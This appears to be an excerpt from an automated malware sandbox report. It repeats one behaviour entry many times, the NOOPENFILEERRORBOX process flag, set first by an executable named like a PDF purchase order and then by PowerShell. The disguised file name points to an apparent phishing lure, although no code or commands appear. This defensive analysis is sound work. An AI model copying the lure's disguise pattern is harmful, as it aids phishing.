Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
